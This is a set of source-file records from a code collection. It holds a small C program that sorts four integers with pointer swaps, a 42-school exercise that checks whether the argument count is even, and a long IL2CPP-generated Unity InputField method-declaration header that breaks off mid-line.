/* 输入四个整数按从小到大顺序排序 *p 为指针变量的内容 p 为地址 p = &n; 在指针变量中存储 n 的地址 p 改变的时候 &n 也会改变 */ #include <stdio.h> void swap(int *p1, int *p2){ //指针交换 int p; p = *p1; *p1 = *p2; *p2 = p; } int main(){ int n1,n2,n3,n4; int *p1,*p2,*p3,*p4; printf("Please type four numbers:"); scanf("%d%d%d%d",&n1,&n2,&n3,&n4); p1 = &n1; p2 = &n2; p3 = &n3; p4 = &n4; printf("四个指针变量地址:\n%p\n%p\n%p\n%p\n",p1,p2,p3,p4); if (n1 > n2){ swap(p1,p2); } if (n1 > n3){ swap(p1,p3); } if (n1 > n4){ swap(p1,p4); } if(n2 > n3){ swap(p2,p3); } if(n2 > n4){ swap(p2,p4); } if(n3 > n4){ swap(p3,p4); } printf("\n %d %d %d %d",n1,n2,n3,n4); }
e01cfc2c2ab04352777c4758772b5c23865ff4ce
f765dcd8cf15f42fb64004e9c61f4ed138a93225
/j08/ex02/main.c
7ee1a1a0c01520eb7c02084cf5b7f44f603e137b
[]
no_license
richielee/French-Swimming-Pool
ed6f23c7bd0c1222df6de4b05848802a2856d3c8
6ad8bf07cdf9fd781bedc09b5d30c13cdcfea8f9
refs/heads/master
2021-01-18T16:12:14.544050
2017-03-30T16:52:50
2017-03-30T16:52:50
86,725,946
0
0
null
null
null
null
UTF-8
C
false
false
1,072
c
main.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* main.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: rili <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/03/24 15:33:02 by rili #+# #+# */ /* Updated: 2017/03/24 15:37:27 by rili ### ########.fr */ /* */ /* ************************************************************************** */ #include "ft_boolean.h" int main(int argc, char **argv) { (void)argv; if (ft_is_even(argc - 1) == TRUE) ft_putstr(EVEN_MSG); else ft_putstr(ODD_MSG); return (SUCCESS); }
97b6c1a4acfb956579d89b9fc9f21489b0c6aec8
4dbb45758447dcfa13c0be21e4749d62588aab70
/iOS/Classes/Native/UnityEngine_UI_UnityEngine_UI_InputField609046876MethodDeclarations.h
fb8ed5959b154bd78ccf62a48f68f1a4aed43b25
[ "MIT" ]
permissive
mopsicus/unity-share-plugin-ios-android
6dd6ccd2fa05c73f0bf5e480a6f2baecb7e7a710
3ee99aef36034a1e4d7b156172953f9b4dfa696f
refs/heads/master
2020-12-25T14:38:03.861759
2016-07-19T10:06:04
2016-07-19T10:06:04
63,676,983
12
0
null
null
null
null
UTF-8
C
false
false
34,943
h
UnityEngine_UI_UnityEngine_UI_InputField609046876MethodDeclarations.h
#pragma once #include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <stdint.h> #include <assert.h> #include <exception> // UnityEngine.UI.InputField struct InputField_t609046876; // UnityEngine.Mesh struct Mesh_t4241756145; // UnityEngine.TextGenerator struct TextGenerator_t538854556; // System.String struct String_t; // UnityEngine.UI.Text struct Text_t9039225; // UnityEngine.UI.Graphic struct Graphic_t836799438; // UnityEngine.UI.InputField/SubmitEvent struct SubmitEvent_t3081690246; // UnityEngine.UI.InputField/OnChangeEvent struct OnChangeEvent_t2697516943; // UnityEngine.UI.InputField/OnValidateInput struct OnValidateInput_t3952708057; // System.Collections.IEnumerator struct IEnumerator_t3464575207; // UnityEngine.EventSystems.PointerEventData struct PointerEventData_t1848751023; // UnityEngine.Event struct Event_t4196595728; // UnityEngine.EventSystems.BaseEventData struct BaseEventData_t2054899105; // UnityEngine.UI.VertexHelper struct VertexHelper_t3377436606; // UnityEngine.UI.InputField/ContentType[] struct ContentTypeU5BU5D_t55041486; // UnityEngine.Transform struct Transform_t1659122786; #include "codegen/il2cpp-codegen.h" #include "mscorlib_System_String7231557.h" #include "UnityEngine_UI_UnityEngine_UI_Text9039225.h" #include "UnityEngine_UI_UnityEngine_UI_Graphic836799438.h" #include "UnityEngine_UnityEngine_Color4194546905.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_SubmitEve3081690246.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_OnChangeE2697516943.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_OnValidat3952708057.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_ContentTy2662964855.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_LineType2016592042.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_InputType1602890312.h" #include "UnityEngine_UnityEngine_TouchScreenKeyboardType2604324130.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_CharacterV737650598.h" #include "UnityEngine_UnityEngine_Vector24282066565.h" #include "UnityEngine_UnityEngine_TextGenerator538854556.h" #include "UnityEngine_UI_UnityEngine_EventSystems_PointerEve1848751023.h" #include "UnityEngine_UI_UnityEngine_UI_InputField_EditState2313773259.h" #include "UnityEngine_UnityEngine_Event4196595728.h" #include "UnityEngine_UI_UnityEngine_EventSystems_BaseEventD2054899105.h" #include "UnityEngine_UI_UnityEngine_UI_CanvasUpdate2847075725.h" #include "UnityEngine_UnityEngine_Mesh4241756145.h" #include "UnityEngine_UI_UnityEngine_UI_VertexHelper3377436606.h" #include "UnityEngine_UI_UnityEngine_UI_Selectable_Selection1293548283.h" // System.Void UnityEngine.UI.InputField::.ctor() extern "C" void InputField__ctor_m2020289915 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::.cctor() extern "C" void InputField__cctor_m2017349010 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Mesh UnityEngine.UI.InputField::get_mesh() extern "C" Mesh_t4241756145 * InputField_get_mesh_m2359671532 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.TextGenerator UnityEngine.UI.InputField::get_cachedInputTextGenerator() extern "C" TextGenerator_t538854556 * InputField_get_cachedInputTextGenerator_m1093502060 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_shouldHideMobileInput(System.Boolean) extern "C" void InputField_set_shouldHideMobileInput_m4025452486 (InputField_t609046876 * __this, bool ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_shouldHideMobileInput() extern "C" bool InputField_get_shouldHideMobileInput_m3268284241 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_shouldActivateOnSelect() extern "C" bool InputField_get_shouldActivateOnSelect_m3772452453 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.UI.InputField::get_text() extern "C" String_t* InputField_get_text_m3972300732 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_text(System.String) extern "C" void InputField_set_text_m203843887 (InputField_t609046876 * __this, String_t* ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_isFocused() extern "C" bool InputField_get_isFocused_m1249071051 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.UI.InputField::get_caretBlinkRate() extern "C" float InputField_get_caretBlinkRate_m3180928607 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_caretBlinkRate(System.Single) extern "C" void InputField_set_caretBlinkRate_m3976284076 (InputField_t609046876 * __this, float ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::get_caretWidth() extern "C" int32_t InputField_get_caretWidth_m168198637 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_caretWidth(System.Int32) extern "C" void InputField_set_caretWidth_m566265370 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.Text UnityEngine.UI.InputField::get_textComponent() extern "C" Text_t9039225 * InputField_get_textComponent_m2329519363 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_textComponent(UnityEngine.UI.Text) extern "C" void InputField_set_textComponent_m4116377302 (InputField_t609046876 * __this, Text_t9039225 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.Graphic UnityEngine.UI.InputField::get_placeholder() extern "C" Graphic_t836799438 * InputField_get_placeholder_m1494472373 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_placeholder(UnityEngine.UI.Graphic) extern "C" void InputField_set_placeholder_m1981544106 (InputField_t609046876 * __this, Graphic_t836799438 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Color UnityEngine.UI.InputField::get_caretColor() extern "C" Color_t4194546905 InputField_get_caretColor_m3643265483 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_caretColor(UnityEngine.Color) extern "C" void InputField_set_caretColor_m1187620416 (InputField_t609046876 * __this, Color_t4194546905 ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_customCaretColor() extern "C" bool InputField_get_customCaretColor_m15835893 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_customCaretColor(System.Boolean) extern "C" void InputField_set_customCaretColor_m2443486254 (InputField_t609046876 * __this, bool ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Color UnityEngine.UI.InputField::get_selectionColor() extern "C" Color_t4194546905 InputField_get_selectionColor_m240252578 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_selectionColor(UnityEngine.Color) extern "C" void InputField_set_selectionColor_m1343496137 (InputField_t609046876 * __this, Color_t4194546905 ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/SubmitEvent UnityEngine.UI.InputField::get_onEndEdit() extern "C" SubmitEvent_t3081690246 * InputField_get_onEndEdit_m3802925699 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_onEndEdit(UnityEngine.UI.InputField/SubmitEvent) extern "C" void InputField_set_onEndEdit_m2414983338 (InputField_t609046876 * __this, SubmitEvent_t3081690246 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/OnChangeEvent UnityEngine.UI.InputField::get_onValueChange() extern "C" OnChangeEvent_t2697516943 * InputField_get_onValueChange_m2707279446 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_onValueChange(UnityEngine.UI.InputField/OnChangeEvent) extern "C" void InputField_set_onValueChange_m1682014085 (InputField_t609046876 * __this, OnChangeEvent_t2697516943 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/OnChangeEvent UnityEngine.UI.InputField::get_onValueChanged() extern "C" OnChangeEvent_t2697516943 * InputField_get_onValueChanged_m2321341872 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_onValueChanged(UnityEngine.UI.InputField/OnChangeEvent) extern "C" void InputField_set_onValueChanged_m3205399099 (InputField_t609046876 * __this, OnChangeEvent_t2697516943 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/OnValidateInput UnityEngine.UI.InputField::get_onValidateInput() extern "C" OnValidateInput_t3952708057 * InputField_get_onValidateInput_m2116536287 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_onValidateInput(UnityEngine.UI.InputField/OnValidateInput) extern "C" void InputField_set_onValidateInput_m1603970312 (InputField_t609046876 * __this, OnValidateInput_t3952708057 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::get_characterLimit() extern "C" int32_t InputField_get_characterLimit_m2780159932 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_characterLimit(System.Int32) extern "C" void InputField_set_characterLimit_m1004148585 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/ContentType UnityEngine.UI.InputField::get_contentType() extern "C" int32_t InputField_get_contentType_m1921772191 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_contentType(UnityEngine.UI.InputField/ContentType) extern "C" void InputField_set_contentType_m831644236 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/LineType UnityEngine.UI.InputField::get_lineType() extern "C" int32_t InputField_get_lineType_m3024149779 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_lineType(UnityEngine.UI.InputField/LineType) extern "C" void InputField_set_lineType_m2862985194 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/InputType UnityEngine.UI.InputField::get_inputType() extern "C" int32_t InputField_get_inputType_m2348834559 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_inputType(UnityEngine.UI.InputField/InputType) extern "C" void InputField_set_inputType_m3518963754 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.TouchScreenKeyboardType UnityEngine.UI.InputField::get_keyboardType() extern "C" int32_t InputField_get_keyboardType_m682150197 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_keyboardType(UnityEngine.TouchScreenKeyboardType) extern "C" void InputField_set_keyboardType_m2584868886 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/CharacterValidation UnityEngine.UI.InputField::get_characterValidation() extern "C" int32_t InputField_get_characterValidation_m4244038975 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_characterValidation(UnityEngine.UI.InputField/CharacterValidation) extern "C" void InputField_set_characterValidation_m3783277294 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_readOnly() extern "C" bool InputField_get_readOnly_m991875110 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_readOnly(System.Boolean) extern "C" void InputField_set_readOnly_m1486621087 (InputField_t609046876 * __this, bool ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_multiLine() extern "C" bool InputField_get_multiLine_m2265790891 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Char UnityEngine.UI.InputField::get_asteriskChar() extern "C" Il2CppChar InputField_get_asteriskChar_m3297406588 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_asteriskChar(System.Char) extern "C" void InputField_set_asteriskChar_m353877103 (InputField_t609046876 * __this, Il2CppChar ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_wasCanceled() extern "C" bool InputField_get_wasCanceled_m3717712640 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::ClampPos(System.Int32&) extern "C" void InputField_ClampPos_m1654447641 (InputField_t609046876 * __this, int32_t* ___pos0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::get_caretPositionInternal() extern "C" int32_t InputField_get_caretPositionInternal_m1805548065 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_caretPositionInternal(System.Int32) extern "C" void InputField_set_caretPositionInternal_m3521473046 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::get_caretSelectPositionInternal() extern "C" int32_t InputField_get_caretSelectPositionInternal_m2541357245 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_caretSelectPositionInternal(System.Int32) extern "C" void InputField_set_caretSelectPositionInternal_m4114170802 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::get_hasSelection() extern "C" bool InputField_get_hasSelection_m69592150 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::get_caretPosition() extern "C" int32_t InputField_get_caretPosition_m1600046468 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_caretPosition(System.Int32) extern "C" void InputField_set_caretPosition_m417406201 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::get_selectionAnchorPosition() extern "C" int32_t InputField_get_selectionAnchorPosition_m3946868514 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_selectionAnchorPosition(System.Int32) extern "C" void InputField_set_selectionAnchorPosition_m4265241751 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::get_selectionFocusPosition() extern "C" int32_t InputField_get_selectionFocusPosition_m3487835103 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_selectionFocusPosition(System.Int32) extern "C" void InputField_set_selectionFocusPosition_m3645383436 (InputField_t609046876 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnEnable() extern "C" void InputField_OnEnable_m3151717419 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnDisable() extern "C" void InputField_OnDisable_m3654896738 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Collections.IEnumerator UnityEngine.UI.InputField::CaretBlink() extern "C" Il2CppObject * InputField_CaretBlink_m3410390944 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SetCaretVisible() extern "C" void InputField_SetCaretVisible_m1704739146 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SetCaretActive() extern "C" void InputField_SetCaretActive_m1463120 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnFocus() extern "C" void InputField_OnFocus_m466029714 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SelectAll() extern "C" void InputField_SelectAll_m4063966302 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveTextEnd(System.Boolean) extern "C" void InputField_MoveTextEnd_m2126814125 (InputField_t609046876 * __this, bool ___shift0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveTextStart(System.Boolean) extern "C" void InputField_MoveTextStart_m2867546804 (InputField_t609046876 * __this, bool ___shift0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.UI.InputField::get_clipboard() extern "C" String_t* InputField_get_clipboard_m1517672713 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::set_clipboard(System.String) extern "C" void InputField_set_clipboard_m1137802704 (Il2CppObject * __this /* static, unused */, String_t* ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::InPlaceEditing() extern "C" bool InputField_InPlaceEditing_m3152517681 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::LateUpdate() extern "C" void InputField_LateUpdate_m658657720 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector2 UnityEngine.UI.InputField::ScreenToLocal(UnityEngine.Vector2) extern "C" Vector2_t4282066565 InputField_ScreenToLocal_m1499722466 (InputField_t609046876 * __this, Vector2_t4282066565 ___screen0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::GetUnclampedCharacterLineFromPosition(UnityEngine.Vector2,UnityEngine.TextGenerator) extern "C" int32_t InputField_GetUnclampedCharacterLineFromPosition_m3510038353 (InputField_t609046876 * __this, Vector2_t4282066565 ___pos0, TextGenerator_t538854556 * ___generator1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::GetCharacterIndexFromPosition(UnityEngine.Vector2) extern "C" int32_t InputField_GetCharacterIndexFromPosition_m4275941159 (InputField_t609046876 * __this, Vector2_t4282066565 ___pos0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::MayDrag(UnityEngine.EventSystems.PointerEventData) extern "C" bool InputField_MayDrag_m3557501854 (InputField_t609046876 * __this, PointerEventData_t1848751023 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnBeginDrag(UnityEngine.EventSystems.PointerEventData) extern "C" void InputField_OnBeginDrag_m1531063271 (InputField_t609046876 * __this, PointerEventData_t1848751023 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnDrag(UnityEngine.EventSystems.PointerEventData) extern "C" void InputField_OnDrag_m91839394 (InputField_t609046876 * __this, PointerEventData_t1848751023 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Collections.IEnumerator UnityEngine.UI.InputField::MouseDragOutsideRect(UnityEngine.EventSystems.PointerEventData) extern "C" Il2CppObject * InputField_MouseDragOutsideRect_m854880935 (InputField_t609046876 * __this, PointerEventData_t1848751023 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnEndDrag(UnityEngine.EventSystems.PointerEventData) extern "C" void InputField_OnEndDrag_m4049045301 (InputField_t609046876 * __this, PointerEventData_t1848751023 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnPointerDown(UnityEngine.EventSystems.PointerEventData) extern "C" void InputField_OnPointerDown_m2912611813 (InputField_t609046876 * __this, PointerEventData_t1848751023 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.UI.InputField/EditState UnityEngine.UI.InputField::KeyPressed(UnityEngine.Event) extern "C" int32_t InputField_KeyPressed_m56514315 (InputField_t609046876 * __this, Event_t4196595728 * ___evt0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::IsValidChar(System.Char) extern "C" bool InputField_IsValidChar_m3270378798 (InputField_t609046876 * __this, Il2CppChar ___c0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::ProcessEvent(UnityEngine.Event) extern "C" void InputField_ProcessEvent_m946297147 (InputField_t609046876 * __this, Event_t4196595728 * ___e0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::OnUpdateSelected(UnityEngine.EventSystems.BaseEventData) extern "C" void InputField_OnUpdateSelected_m636353350 (InputField_t609046876 * __this, BaseEventData_t2054899105 * ___eventData0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.UI.InputField::GetSelectedString() extern "C" String_t* InputField_GetSelectedString_m1040556478 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::FindtNextWordBegin() extern "C" int32_t InputField_FindtNextWordBegin_m2221118514 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveRight(System.Boolean,System.Boolean) extern "C" void InputField_MoveRight_m815186690 (InputField_t609046876 * __this, bool ___shift0, bool ___ctrl1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::FindtPrevWordBegin() extern "C" int32_t InputField_FindtPrevWordBegin_m201815282 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveLeft(System.Boolean,System.Boolean) extern "C" void InputField_MoveLeft_m2120951525 (InputField_t609046876 * __this, bool ___shift0, bool ___ctrl1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::DetermineCharacterLine(System.Int32,UnityEngine.TextGenerator) extern "C" int32_t InputField_DetermineCharacterLine_m3657739513 (InputField_t609046876 * __this, int32_t ___charPos0, TextGenerator_t538854556 * ___generator1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::LineUpCharacterPosition(System.Int32,System.Boolean) extern "C" int32_t InputField_LineUpCharacterPosition_m1478103368 (InputField_t609046876 * __this, int32_t ___originalPos0, bool ___goToFirstChar1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::LineDownCharacterPosition(System.Int32,System.Boolean) extern "C" int32_t InputField_LineDownCharacterPosition_m263003663 (InputField_t609046876 * __this, int32_t ___originalPos0, bool ___goToLastChar1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveDown(System.Boolean) extern "C" void InputField_MoveDown_m1297332275 (InputField_t609046876 * __this, bool ___shift0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveDown(System.Boolean,System.Boolean) extern "C" void InputField_MoveDown_m3574910698 (InputField_t609046876 * __this, bool ___shift0, bool ___goToLastChar1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveUp(System.Boolean) extern "C" void InputField_MoveUp_m3783029356 (InputField_t609046876 * __this, bool ___shift0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::MoveUp(System.Boolean,System.Boolean) extern "C" void InputField_MoveUp_m2694527889 (InputField_t609046876 * __this, bool ___shift0, bool ___goToFirstChar1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::Delete() extern "C" void InputField_Delete_m3723424084 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::ForwardSpace() extern "C" void InputField_ForwardSpace_m957387114 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::Backspace() extern "C" void InputField_Backspace_m3222521688 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::Insert(System.Char) extern "C" void InputField_Insert_m2452101819 (InputField_t609046876 * __this, Il2CppChar ___c0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SendOnValueChangedAndUpdateLabel() extern "C" void InputField_SendOnValueChangedAndUpdateLabel_m3331240455 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SendOnValueChanged() extern "C" void InputField_SendOnValueChanged_m2613517587 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::SendOnSubmit() extern "C" void InputField_SendOnSubmit_m3215072040 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::Append(System.String) extern "C" void InputField_Append_m2987278559 (InputField_t609046876 * __this, String_t* ___input0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::Append(System.Char) extern "C" void InputField_Append_m917566458 (InputField_t609046876 * __this, Il2CppChar ___input0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.UI.InputField::UpdateLabel() extern "C" void InputField_UpdateLabel_m4272237956 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.UI.InputField::IsSelectionVisible() extern "C" bool InputField_IsSelectionVisible_m1151128811 (InputField_t609046876 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.UI.InputField::GetLineStartPosition(UnityEngine.TextGenerator,System.Int32) extern "C" int32_t 